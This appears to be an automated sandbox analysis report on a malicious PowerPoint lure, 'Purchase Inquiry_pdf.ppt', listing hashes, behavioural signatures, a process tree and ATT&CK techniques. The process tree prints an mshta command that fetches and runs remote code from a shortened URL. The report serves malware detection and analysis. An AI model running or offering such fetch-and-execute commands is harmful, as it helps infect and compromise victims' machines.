Analysis

  • max time kernel
    147s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    15-09-2021 06:33

General

  • Target

    Purchase Inquiry_pdf.ppt

  • Size

    26KB

  • MD5

    42c6c6e05ac8066594a8caf9dac49943

  • SHA1

    c83f30ff485b3ca6a8d4068c398aeb2d7368f14f

  • SHA256

    26dd67c14738a6c47e2eab3cf7eae088640d406617c4630bdd0f402369cd7184

  • SHA512

    15df38db85f11ac6ebc7b9e059efadc63b448102cce5c031bfd6d40592cd1cc3022898332b9adc1496af3dd06bc5bf5c7ff371f7b4113ea1009a54a838ce3d0d

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 14 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Purchase Inquiry_pdf.ppt" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:900
    • C:\Windows\SYSTEM32\MsHTa.exe
      MsHTa HTTp://bitly.com/dasdaasfasfabdjyahsd
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetWindowsHookEx
      PID:2708
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 2708 -s 2912
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2120

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/900-122-0x00007FFD4B080000-0x00007FFD4C16E000-memory.dmp
    Filesize

    16.9MB

  • memory/900-115-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-116-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-117-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-118-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-119-0x00007FFD4E040000-0x00007FFD4FC1D000-memory.dmp
    Filesize

    27.9MB

  • memory/900-114-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-123-0x00007FFD49180000-0x00007FFD4B075000-memory.dmp
    Filesize

    31.0MB

  • memory/900-287-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-288-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-289-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/900-290-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp
    Filesize

    64KB

  • memory/2708-270-0x0000000000000000-mapping.dmp